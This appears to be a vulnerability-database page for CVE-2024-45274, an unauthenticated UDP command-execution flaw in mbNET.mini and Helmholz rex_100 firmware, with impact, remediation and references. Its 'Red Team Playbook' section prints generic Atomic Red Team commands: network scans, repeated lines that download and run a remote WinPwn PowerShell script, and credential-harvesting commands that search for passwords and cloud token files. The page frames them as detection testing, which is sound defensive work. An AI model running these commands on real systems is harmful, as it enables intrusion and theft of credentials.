CVE-2024-45274
Overview
This vulnerability is an authentication bypass that enables unauthenticated remote command execution via UDP packets. The root cause is the absence of authentication checks on the UDP interface of the MB connect line mbNET.mini device firmware. The affected component is the UDP-based command processing functionality within the device's network stack, which improperly accepts and executes OS commands without verifying the sender's identity.
Vulnerability Description
An unauthenticated remote attacker can execute OS commands via UDP on the device due to missing authentication.
Impact
An attacker with network access can execute arbitrary OS commands on the affected device without any authentication (AV:N/AC:L/PR:N/UI:N), leading to full compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). This enables unauthorized control over device functions, potential disruption of industrial processes, and lateral movement within the network. No user interaction is required, and the vulnerability can be exploited remotely via UDP packets, making it critical for operational environments relying on mbNET.mini devices.
Solution
Refer to VDE security advisories VDE-2024-056 and VDE-2024-066 for detailed remediation instructions. MB connect line has released firmware updates addressing the authentication bypass in mbNET.mini devices; users must upgrade to the latest firmware version as specified in these advisories. Helmholz rex_100 firmware users should also apply corresponding patches. Follow vendor guidance precisely to ensure UDP command interfaces enforce proper authentication controls.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a critical flaw in certain firmware versions of specific industrial devices, which allows unauthenticated remote attackers to execute operating system commands via User Datagram Protocol (UDP). This lack of authentication creates a significant security gap, as it enables attackers to send specially crafted packets to the affected devices, potentially leading to unauthorized access and control over the system. The underlying issue stems from inadequate input validation and insufficient security measures implemented in the firmware, which fails to authenticate incoming requests before processing them. As a result, attackers can exploit this weakness to execute arbitrary commands, manipulate device configurations, or even disrupt operations.
The attack vectors associated with this vulnerability are particularly concerning due to the nature of UDP, which is connectionless and does not require a handshake to establish a session. This characteristic allows attackers to easily spoof their source addresses, making it difficult for defenders to trace the origin of malicious packets. Exploitation scenarios could range from simple command execution to more complex attacks, such as deploying malware or creating backdoors for persistent access. An attacker could leverage this vulnerability to conduct reconnaissance on the network, escalate privileges, or pivot to other systems within the infrastructure, thereby increasing the attack surface and potential damage.
The real-world impact of this vulnerability is profound, especially for organizations relying on the affected devices for critical operations. The potential for unauthorized command execution can lead to severe disruptions in service, loss of sensitive data, and significant financial repercussions. For instance, in an industrial setting, an attacker could manipulate control systems, leading to equipment failures, production downtime, or even safety incidents. The business risks associated with such an attack include reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Furthermore, the high CVSS score indicates that the vulnerability poses a severe threat, necessitating immediate attention from security teams.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. First and foremost, network segmentation can help isolate the affected devices from other critical systems, reducing the risk of lateral movement in the event of an attack. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help monitor network traffic for suspicious activity, such as unusual UDP packets targeting the affected devices. Organizations should also conduct regular security assessments and penetration testing to identify and remediate potential weaknesses before they can be exploited by malicious actors.
In conclusion, the vulnerability present in the firmware of specific industrial devices poses a significant threat to operational integrity and security. The ease of exploitation via UDP, combined with the potential for severe real-world consequences, underscores the urgency for organizations to prioritize detection and mitigation efforts. By adopting proactive security measures and fostering a culture of cybersecurity awareness, businesses can better protect themselves against the risks associated with this and similar vulnerabilities.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mbconnectline | Mbnet.mini Firmware | All |
cpe:2.3:o:mbconnectline:mbnet.mini_firmware:*:*:*:*:*:*:*:*
|
|
|
Helmholz | Rex 100 Firmware | All |
cpe:2.3:o:helmholz:rex_100_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-45274 |
| cert.vde.com |
GitHub CVE
|
https://cert.vde.com/en/advisories/VDE-2024-056 |
| cert.vde.com |
GitHub CVE
|
https://cert.vde.com/en/advisories/VDE-2024-066 |
| seclists.org |
NVD API
|
http://seclists.org/fulldisclosure/2025/Jul/38 |
| syss.de |
NVD API
|
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-063.txt |